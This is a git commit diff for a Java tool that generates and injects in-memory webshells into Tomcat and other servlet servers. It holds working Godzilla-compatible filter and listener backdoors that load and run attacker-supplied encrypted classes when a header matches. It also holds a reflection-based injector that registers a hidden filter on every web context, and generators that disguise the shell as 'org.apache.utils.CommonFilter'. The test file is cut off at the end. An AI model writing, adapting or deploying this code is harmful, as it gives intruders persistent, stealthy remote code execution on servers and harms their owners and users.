feat: add godzilla filter generate

generator/build.gradle

@@ -0,0 +1,20 @@
+plugins {
+    id "io.freefair.lombok" version "8.11"
+}
+
+group = 'com.reajason.javaweb.memsell'
+version = '1.0-SNAPSHOT'
+
+dependencies {
+    implementation 'net.bytebuddy:byte-buddy:1.15.1'
+    implementation 'javax.servlet:javax.servlet-api:3.0.1'
+//    implementation fileTree('libs')
+
+    implementation 'commons-io:commons-io:2.18.0'
+    implementation 'org.apache.commons:commons-lang3:3.17.0'
+    implementation 'commons-codec:commons-codec:1.17.1'
+}
+
+test {
+    useJUnitPlatform()
+}

generator/src/main/java/com/reajason/javaweb/buddy/ServletRenameVisitorWrapper.java

@@ -0,0 +1,52 @@
+package com.reajason.javaweb.buddy;
+
+import net.bytebuddy.asm.AsmVisitorWrapper;
+import net.bytebuddy.description.field.FieldDescription;
+import net.bytebuddy.description.field.FieldList;
+import net.bytebuddy.description.method.MethodList;
+import net.bytebuddy.description.type.TypeDescription;
+import net.bytebuddy.implementation.Implementation;
+import net.bytebuddy.jar.asm.ClassVisitor;
+import net.bytebuddy.jar.asm.commons.ClassRemapper;
+import net.bytebuddy.jar.asm.commons.Remapper;
+import net.bytebuddy.pool.TypePool;
+
+/**
+ * @author ReaJason
+ * @since 2024/11/23
+ */
+public class ServletRenameVisitorWrapper implements AsmVisitorWrapper {
+    @Override
+    public int mergeReader(int flags) {
+        return 0;
+    }
+
+    @Override
+    public int mergeWriter(int flags) {
+        return 0;
+    }
+
+    @Override
+    public ClassVisitor wrap(
+            TypeDescription instrumentedType,
+            ClassVisitor classVisitor,
+            Implementation.Context implementationContext,
+            TypePool typePool,
+            FieldList<FieldDescription.InDefinedShape> fields,
+            MethodList<?> methods,
+            int writerFlags,
+            int readerFlags) {
+        return new ClassRemapper(
+                classVisitor,
+                new Remapper() {
+                    @Override
+                    public String map(String typeName) {
+                        if (typeName.startsWith("javax/servlet/")) {
+                            return typeName.replaceFirst("javax", "jakarta");
+                        } else {
+                            return typeName;
+                        }
+                    }
+                });
+    }
+}

generator/src/main/java/com/reajason/javaweb/config/Server.java

@@ -0,0 +1,69 @@
+package com.reajason.javaweb.config;
+
+/**
+ * @author ReaJason
+ * @since 2024/11/22
+ */
+public enum Server {
+    /**
+     * Tomcat 中间件
+     */
+    TOMCAT,
+    /**
+     * Jetty 中间件
+     */
+    JETTY,
+    /**
+     * JBoss 中间件
+     */
+    JBOSS,
+    /**
+     * Undertow，对应是 Wildfly，也有可能是 SpringBoot 用的
+     */
+    UNDERTOW,
+
+    /**
+     * SpringMVC 框架
+     */
+    SPRING_MVC,
+
+    /**
+     * Spring Webflux 框架
+     */
+    SPRING_WEBFLUX,
+
+    /**
+     * WebSphere 中间件
+     */
+    WEBSPHERE,
+
+    /**
+     * WebLogic 中间件
+     */
+    WEBLOGIC,
+
+    /**
+     * Resin 中间件
+     */
+    RESIN,
+
+    /**
+     * Glassfish 中间件
+     */
+    GLASSFISH,
+
+    /**
+     * 宝兰德中间件
+     */
+    BES,
+
+    /**
+     * 东方通中间件
+     */
+    TONGWEB,
+
+    /**
+     * 金蝶天燕中间件
+     */
+    APUSIC
+}

generator/src/main/java/com/reajason/javaweb/config/ShellTool.java

@@ -0,0 +1,17 @@
+package com.reajason.javaweb.config;
+
+/**
+ * @author ReaJason
+ * @since 2024/11/22
+ */
+public enum ShellTool {
+    /**
+     * 哥斯拉
+     */
+    Godzilla,
+
+    /**
+     * 命令回显
+     */
+    CMD
+}

generator/src/main/java/com/reajason/javaweb/config/TomcatShell.java

@@ -0,0 +1,41 @@
+package com.reajason.javaweb.config;
+
+import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaFilter;
+import lombok.Getter;
+
+/**
+ * @author ReaJason
+ * @since 2024/11/22
+ */
+public class TomcatShell {
+    public static final String SERVLET = "servlet";
+    public static final String JAKARTA_SERVLET = "jakartaServlet";
+    public static final String FILTER = "filter";
+    public static final String JAKARTA_FILTER = "jakartaFilter";
+    public static final String LISTENER = "listener";
+    public static final String JAKARTA_LISTENER = "jakartaListener";
+    public static final String WEBSOCKET = "websocket";
+    public static final String VALVE = "valve";
+    public static final String UPGRADE = "upgrade";
+    public static final String EXECUTOR = "executor";
+
+
+    @Getter
+    public static enum Godzilla {
+
+        /**
+         * Tomcat Filter
+         */
+        Filter(TomcatShell.FILTER, GodzillaFilter.class),
+        ;
+
+        Godzilla(String shellType, Class<?> shellClass) {
+            this.shellClass = shellClass;
+            this.shellType = shellType;
+        }
+
+        private final String shellType;
+        private final Class<?> shellClass;
+
+    }
+}

generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java

@@ -0,0 +1,37 @@
+package com.reajason.javaweb.memsell;
+
+import net.bytebuddy.ByteBuddy;
+import net.bytebuddy.dynamic.DynamicType;
+import net.bytebuddy.implementation.FieldAccessor;
+import net.bytebuddy.implementation.Implementation;
+import net.bytebuddy.implementation.SuperMethodCall;
+import net.bytebuddy.matcher.ElementMatchers;
+import org.apache.commons.codec.digest.DigestUtils;
+
+/**
+ * @author ReaJason
+ * @since 2024/11/23
+ */
+public class GodzillaGenerator {
+
+    public byte[] generate(Class<?> godzillaClass, String godzillaClassName,
+                           String pass, String key,
+                           String headerName, String headerValue) {
+        String md5Key = DigestUtils.md5Hex(key).substring(0, 16);
+        String md5 = DigestUtils.md5Hex(pass + md5Key).toUpperCase();
+        Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
+                .andThen(FieldAccessor.ofField("pass").setsValue(pass))
+                .andThen(FieldAccessor.ofField("key").setsValue(md5Key))
+                .andThen(FieldAccessor.ofField("md5").setsValue(md5))
+                .andThen(FieldAccessor.ofField("headerName").setsValue(headerName))
+                .andThen(FieldAccessor.ofField("headerValue").setsValue(headerValue));
+        try (DynamicType.Unloaded<?> make = new ByteBuddy()
+                .redefine(godzillaClass)
+                .name(godzillaClassName)
+                .constructor(ElementMatchers.any())
+                .intercept(fieldSets)
+                .make()) {
+            return make.getBytes();
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memsell/InjectorGenerator.java

@@ -0,0 +1,31 @@
+package com.reajason.javaweb.memsell;
+
+import com.reajason.javaweb.util.CommonUtil;
+import lombok.SneakyThrows;
+import net.bytebuddy.ByteBuddy;
+import net.bytebuddy.dynamic.DynamicType;
+import net.bytebuddy.implementation.FixedValue;
+import org.apache.commons.codec.binary.Base64;
+
+import static net.bytebuddy.matcher.ElementMatchers.named;
+
+/**
+ * @author ReaJason
+ * @since 2024/11/24
+ */
+public class InjectorGenerator {
+
+    @SneakyThrows
+    public byte[] generate(Class<?> injectClass, String injectClassName, String shellClassName, byte[] shellBytes, String urlPattern) {
+        String base64String = Base64.encodeBase64String(CommonUtil.gzipCompress(shellBytes)).replace(System.lineSeparator(), "");;
+        try (DynamicType.Unloaded<?> make = new ByteBuddy()
+                .redefine(injectClass)
+                .name(injectClassName)
+                .method(named("getUrlPattern")).intercept(FixedValue.value(urlPattern))
+                .method(named("getBase64String")).intercept(FixedValue.value(base64String))
+                .method(named("getClassName")).intercept(FixedValue.value(shellClassName))
+                .make()) {
+            return make.getBytes();
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaFilter.java

@@ -0,0 +1,126 @@
+package com.reajason.javaweb.memsell.tomcat.godzilla;
+
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import javax.servlet.*;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import javax.servlet.http.HttpSession;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+
+/**
+ * @author ReaJason
+ */
+public class GodzillaFilter extends ClassLoader implements Filter {
+    public String key;
+    public String pass;
+    public String md5;
+    public String headerName;
+    public String headerValue;
+
+    public GodzillaFilter() {
+    }
+
+    public GodzillaFilter(ClassLoader z) {
+        super(z);
+    }
+
+    public Class<?> Q(byte[] cb) {
+        return super.defineClass(cb, 0, cb.length);
+    }
+
+    public byte[] x(byte[] s, boolean m) {
+        try {
+
+            Cipher c = Cipher.getInstance("AES");
+            c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
+            return c.doFinal(s);
+        } catch (Exception var4) {
+            return null;
+        }
+    }
+
+    @Override
+    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
+        HttpServletRequest request = (HttpServletRequest) servletRequest;
+        HttpServletResponse response = (HttpServletResponse) servletResponse;
+        try {
+            if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
+                HttpSession session = request.getSession();
+                byte[] data = base64Decode(request.getParameter(pass));
+                data = this.x(data, false);
+                if (session.getAttribute("payload") == null) {
+                    session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data));
+                } else {
+                    request.setAttribute("parameters", data);
+                    ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
+                    Object f;
+                    try {
+                        f = ((Class<?>) session.getAttribute("payload")).newInstance();
+                    } catch (InstantiationException | IllegalAccessException e) {
+                        throw new RuntimeException(e);
+                    }
+                    f.equals(arrOut);
+                    f.equals(request);
+                    response.getWriter().write(md5.substring(0, 16));
+                    f.toString();
+                    response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
+                    response.getWriter().write(md5.substring(16));
+                }
+
+            } else {
+                chain.doFilter(servletRequest, servletResponse);
+            }
+        } catch (Exception e) {
+            chain.doFilter(servletRequest, servletResponse);
+        }
+
+    }
+
+    @Override
+    public void init(FilterConfig filterConfig) throws ServletException {
+    }
+
+    @Override
+    public void destroy() {
+    }
+
+    @SuppressWarnings("all")
+    public static String base64Encode(byte[] bs) throws Exception {
+        String value = null;
+        Class<?> base64;
+        try {
+            base64 = Class.forName("java.util.Base64");
+            Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
+        } catch (Exception var6) {
+            try {
+                base64 = Class.forName("sun.misc.BASE64Encoder");
+                Object encoder = base64.newInstance();
+                value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
+            } catch (Exception ignored) {
+            }
+        }
+        return value;
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] base64Decode(String bs) {
+        byte[] value = null;
+        Class<?> base64;
+        try {
+            base64 = Class.forName("java.util.Base64");
+            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+        } catch (Exception var6) {
+            try {
+                base64 = Class.forName("sun.misc.BASE64Decoder");
+                Object decoder = base64.newInstance();
+                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+            } catch (Exception ignored) {
+            }
+        }
+        return value;
+    }
+}

generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaListener.java

@@ -0,0 +1,147 @@
+package com.reajason.javaweb.memsell.tomcat.godzilla;
+
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import javax.servlet.ServletRequestEvent;
+import javax.servlet.ServletRequestListener;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import javax.servlet.http.HttpSession;
+import java.io.ByteArrayOutputStream;
+import java.lang.reflect.Field;
+
+/**
+ * @author ReaJason
+ */
+public class GodzillaListener extends ClassLoader implements ServletRequestListener {
+    public String md5;
+    public String pass;
+    public String key;
+    public String headerName;
+    public String headerValue;
+
+    public GodzillaListener() {
+    }
+
+    public GodzillaListener(ClassLoader z) {
+        super(z);
+    }
+
+    @SuppressWarnings("all")
+    public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
+        Field field = null;
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                field = clazz.getDeclaredField(name);
+                break;
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (field == null) {
+            throw new NoSuchFieldException(name);
+        } else {
+            field.setAccessible(true);
+            return field.get(obj);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static String base64Encode(byte[] bs) throws Exception {
+        String value = null;
+        Class<?> base64;
+        try {
+            base64 = Class.forName("java.util.Base64");
+            Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
+        } catch (Exception var6) {
+            try {
+                base64 = Class.forName("sun.misc.BASE64Encoder");
+                Object encoder = base64.newInstance();
+                value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
+            } catch (Exception ignored) {
+            }
+        }
+        return value;
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] base64Decode(String bs) {
+        byte[] value = null;
+        Class<?> base64;
+        try {
+            base64 = Class.forName("java.util.Base64");
+            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+        } catch (Exception var6) {
+            try {
+                base64 = Class.forName("sun.misc.BASE64Decoder");
+                Object decoder = base64.newInstance();
+                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+            } catch (Exception ignored) {
+            }
+        }
+        return value;
+    }
+
+    @SuppressWarnings("deprecation")
+    public Class<?> Q(byte[] cb) {
+        return super.defineClass(cb, 0, cb.length);
+    }
+
+    public byte[] x(byte[] s, boolean m) {
+        try {
+            Cipher c = Cipher.getInstance("AES");
+            c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
+            return c.doFinal(s);
+        } catch (Exception var4) {
+            return null;
+        }
+    }
+
+    @Override
+    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
+    }
+
+    @Override
+    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
+        HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
+        try {
+            if (request.getHeader(headerName) != null
+                    && request.getHeader(headerName).contains(headerValue)) {
+                HttpServletResponse response = this.getResponseFromRequest(request);
+                HttpSession session = request.getSession();
+                byte[] data = base64Decode(request.getParameter(pass));
+                data = this.x(data, false);
+                if (session.getAttribute("payload") == null) {
+                    session.setAttribute(
+                            "payload",
+                            (new GodzillaListener(this.getClass().getClassLoader())).Q(data));
+                } else {
+                    request.setAttribute("parameters", data);
+                    ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
+                    Object f = ((Class<?>) session.getAttribute("payload")).newInstance();
+                    f.equals(arrOut);
+                    f.equals(request);
+                    response.getWriter().write(md5.substring(0, 16));
+                    f.toString();
+                    response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
+                    response.getWriter().write(md5.substring(16));
+                    response.flushBuffer();
+                }
+            }
+        } catch (Exception ignored) {
+        }
+    }
+
+    private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
+        HttpServletResponse response = null;
+        try {
+            response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
+        } catch (Exception e) {
+            response = (HttpServletResponse) getFieldValue(request, "response");
+        }
+        return response;
+    }
+}

generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjector.java

@@ -0,0 +1,280 @@
+package com.reajason.javaweb.memsell.tomcat.injector;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * Date: 2022/11/01
+ * Author: pen4uin
+ * Description: Tomcat Filter 注入器 Tested version： jdk v1.8.0_275
+ * tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
+ */
+public class TomcatFilterInjector {
+
+    static {
+        new TomcatFilterInjector();
+    }
+
+    public TomcatFilterInjector() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object filter = getFilter(context);
+                addFilter(context, filter);
+            }
+        } catch (Exception ignored) {
+        }
+    }
+
+    public String getUrlPattern() {
+        return "/*";
+    }
+
+    public String getClassName() {
+        return "";
+    }
+
+    public String getBase64String() {
+        return "";
+    }
+
+    static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        }
+    }
+
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
+        GZIPInputStream gzipInputStream = new GZIPInputStream(in);
+        byte[] buffer = new byte[256];
+        int n;
+        while ((n = gzipInputStream.read(buffer)) >= 0) {
+            out.write(buffer, 0, n);
+        }
+        return out.toByteArray();
+    }
+
+    @SuppressWarnings("all")
+    public Object getFieldValue(Object obj, String name) throws Exception {
+        Field field = null;
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                field = clazz.getDeclaredField(name);
+                break;
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (field == null) {
+            throw new NoSuchFieldException(name);
+        } else {
+            field.setAccessible(true);
+            return field.get(obj);
+        }
+    }
+
+    public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
+        return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
+    }
+
+    public static synchronized Object invokeMethod(final Object obj, final String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+
+        Class<?> tempClass = clazz;
+        while (method == null && tempClass != null) {
+            try {
+                if (paramClazz == null) {
+                    // Get all declared methods of the class
+                    Method[] methods = tempClass.getDeclaredMethods();
+                    for (Method value : methods) {
+                        if (value.getName().equals(methodName) && value.getParameterTypes().length == 0) {
+                            method = value;
+                            break;
+                        }
+                    }
+                } else {
+                    method = tempClass.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                tempClass = tempClass.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException(methodName);
+        }
+        method.setAccessible(true);
+        if (obj instanceof Class) {
+            try {
+                return method.invoke(null, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        } else {
+            try {
+                return method.invoke(obj, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        }
+    }
+
+    public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
+        List<Object> contexts = new ArrayList<Object>();
+        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
+        Object context = null;
+        try {
+            for (Thread thread : threads) {
+                // 适配 v5/v6/7/8
+                if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
+                    HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
+                    // 原: map.get("localhost")
+                    // 之前没有对 StandardHost 进行遍历，只考虑了 localhost 的情况，如果目标自定义了 host,则会获取不到对应的 context，导致注入失败
+                    for (Object key : childrenMap.keySet()) {
+                        HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(childrenMap.get(key), "children");
+                        // 原: context = children.get("");
+                        // 之前没有对context map进行遍历，只考虑了 ROOT context 存在的情况，如果目标tomcat不存在 ROOT context，则会注入失败
+                        for (Object key1 : children.keySet()) {
+                            context = children.get(key1);
+                            if (context != null && context.getClass().getName().contains("StandardContext")) {
+                                contexts.add(context);
+                            }
+                            // 兼容 spring boot 2.x embedded tomcat
+                            if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
+                                contexts.add(context);
+                            }
+                        }
+                    }
+                }
+                // 适配 tomcat v9
+                else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
+                    context = getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context");
+                    if (context != null && context.getClass().getName().contains("StandardContext")) {
+                        contexts.add(context);
+                    }
+                    if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
+                        contexts.add(context);
+                    }
+                }
+            }
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+        return contexts;
+    }
+
+    private Object getFilter(Object context) {
+        Object filter = null;
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        if (classLoader == null) {
+            classLoader = context.getClass().getClassLoader();
+        }
+        try {
+            filter = classLoader.loadClass(getClassName());
+        } catch (Exception e) {
+            try {
+                byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+                defineClass.setAccessible(true);
+                Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+                filter = clazz.newInstance();
+            } catch (Throwable ignored) {
+            }
+        }
+        return filter;
+    }
+
+    @SuppressWarnings("all")
+    public void addFilter(Object context, Object filter) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException {
+        ClassLoader catalinaLoader = getCatalinaLoader();
+        String filterClassName = getClassName();
+        String filterName = filter.getClass().getSimpleName();
+        Object filterDef;
+        Object filterMap;
+
+        // 防止重复注入
+        try {
+            if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterName}) != null) {
+                return;
+            }
+        } catch (Exception ignored) {
+        }
+
+        try {
+            // tomcat v8/9
+            filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
+            filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
+        } catch (Exception e2) {
+            // tomcat v6/7
+            try {
+                filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
+                filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
+            } catch (Exception e) {
+                // tomcat v5
+                filterDef = Class.forName("org.apache.catalina.deploy.FilterDef", true, catalinaLoader).newInstance();
+                filterMap = Class.forName("org.apache.catalina.deploy.FilterMap", true, catalinaLoader).newInstance();
+            }
+        }
+        try {
+            invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
+            invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName});
+            invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
+            invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
+            invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"});
+            Constructor<?>[] constructors;
+            try {
+                invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
+                constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
+            } catch (Exception e) {
+                // tomcat v5
+                invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
+                constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig", true, catalinaLoader).getDeclaredConstructors();
+            }
+            try {
+                // v7.0.0 以上
+                invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
+            } catch (Exception e) {
+                invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
+            }
+
+            constructors[0].setAccessible(true);
+            Object filterConfig = constructors[0].newInstance(context, filterDef);
+            Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
+            filterConfigs.put(filterName, filterConfig);
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public ClassLoader getCatalinaLoader() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
+        ClassLoader catalinaLoader = null;
+        for (Thread thread : threads) {
+            // 适配 v5 的 Class Loader 问题
+            if (thread.getName().contains("ContainerBackgroundProcessor")) {
+                catalinaLoader = thread.getContextClassLoader();
+                break;
+            }
+        }
+        return catalinaLoader;
+    }
+}

generator/src/main/java/com/reajason/javaweb/util/ClassUtils.java

@@ -0,0 +1,35 @@
+package com.reajason.javaweb.util;
+
+import lombok.SneakyThrows;
+
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+
+/**
+ * @author ReaJason
+ * @since 2024/11/23
+ */
+public class ClassUtils {
+
+    @SneakyThrows
+    public static Object newInstance(byte[] bytes) {
+        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+        defineClass.setAccessible(true);
+        Class<?> clazz = (Class<?>) defineClass.invoke(ClassUtils.class.getClassLoader(), bytes, 0, bytes.length);
+        return clazz.newInstance();
+    }
+
+    @SneakyThrows
+    public static Object getFieldValue(Object object, String fieldName) {
+        Field field = object.getClass().getDeclaredField(fieldName);
+        field.setAccessible(true);
+        return field.get(object);
+    }
+
+    @SneakyThrows
+    public static Object invokeMethod(Object object, String methodName, Class<?>[] parameterTypes, Object[] parameters) {
+        Method method = object.getClass().getDeclaredMethod(methodName, parameterTypes);
+        method.setAccessible(true);
+        return method.invoke(object, parameters);
+    }
+}

generator/src/main/java/com/reajason/javaweb/util/CommonUtil.java

@@ -0,0 +1,18 @@
+package com.reajason.javaweb.util;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.util.zip.GZIPOutputStream;
+
+/**
+ * @author ReaJason
+ */
+public class CommonUtil {
+    public static byte[] gzipCompress(byte[] data) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        try (GZIPOutputStream gzip = new GZIPOutputStream(out)) {
+            gzip.write(data);
+        }
+        return out.toByteArray();
+    }
+}

generator/src/test/java/com/reajason/javaweb/memsell/GodzillaGeneratorTest.java

@@ -0,0 +1,58 @@
+package com.reajason.javaweb.memsell;
+
+import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaFilter;
+import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaListener;
+import com.reajason.javaweb.util.ClassUtils;
+import me.gv7.woodpecker.tools.common.FileUtil;
+import org.junit.jupiter.api.Disabled;
+import org.junit.jupiter.api.Test;
+
+import java.io.IOException;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/11/23
+ */
+class GodzillaGeneratorTest {
+
+    GodzillaGenerator godzillaGenerator = new GodzillaGenerator();
+    String pass = "pass";
+    String key = "key";
+    String headerName = "User-Agent";
+    String headerValue = "test";
+
+    @Test
+    @Disabled("just for generate")
+    void testGenerate() throws IOException {
+        System.out.println("hello");
+        String className = "org.apache.utils.CommonFilter";
+        byte[] bytes = godzillaGenerator.generate(GodzillaFilter.class, className, pass, key, headerName, headerValue);
+        FileUtil.writeFile("Class.class", bytes);
+    }
+
+    @Test
+    void generateFilter() {
+        String className = "org.apache.utils.CommonFilter";
+        byte[] bytes = godzillaGenerator.generate(GodzillaFilter.class, className, pass, key, headerName, headerValue);
+        Object obj = ClassUtils.newInstance(bytes);
+        assertEquals(className, obj.getClass().getName());
+        assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
+        assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key"));
+        assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
+        assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
+    }
+
+    @Test
+    void generateListener() {
+        String className = "org.apache.utils.CommonListener";
+        byte[] bytes = godzillaGenerator.generate(GodzillaListener.class, className, pass, key, headerName, headerValue);
+        Object obj = ClassUtils.newInstance(bytes);
+        assertEquals(className, obj.getClass().getName());
+        assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
+        assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key"));
+        assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
+        assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
+    }
+}

generator/src/test/java/com/reajason/javaweb/memsell/InjectorGeneratorTest.java

@@ -0,0 +1,42 @@
+package com.reajason.javaweb.memsell;
+
+import com.reajason.javaweb.memsell.tomcat.injector.TomcatFilterInjector;
+import com.reajason.javaweb.util.ClassUtils;
+import com.reajason.javaweb.util.CommonUtil;
+import lombok.SneakyThrows;
+import me.gv7.woodpecker.tools.common.FileUtil;
+import org.apache.commons.codec.binary.Base64;
+import org.apache.commons.io.IOUtils;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2024/11/24
+ */
+class InjectorGeneratorTest {
+
+    InjectorGenerator injectorGenerator = new InjectorGenerator();
+
+    @Test
+    @SneakyThrows
+    void generateGodzilla() {
+        byte[] shellBytes = IOUtils.resourceToByteArray("/CommonFilter.class");
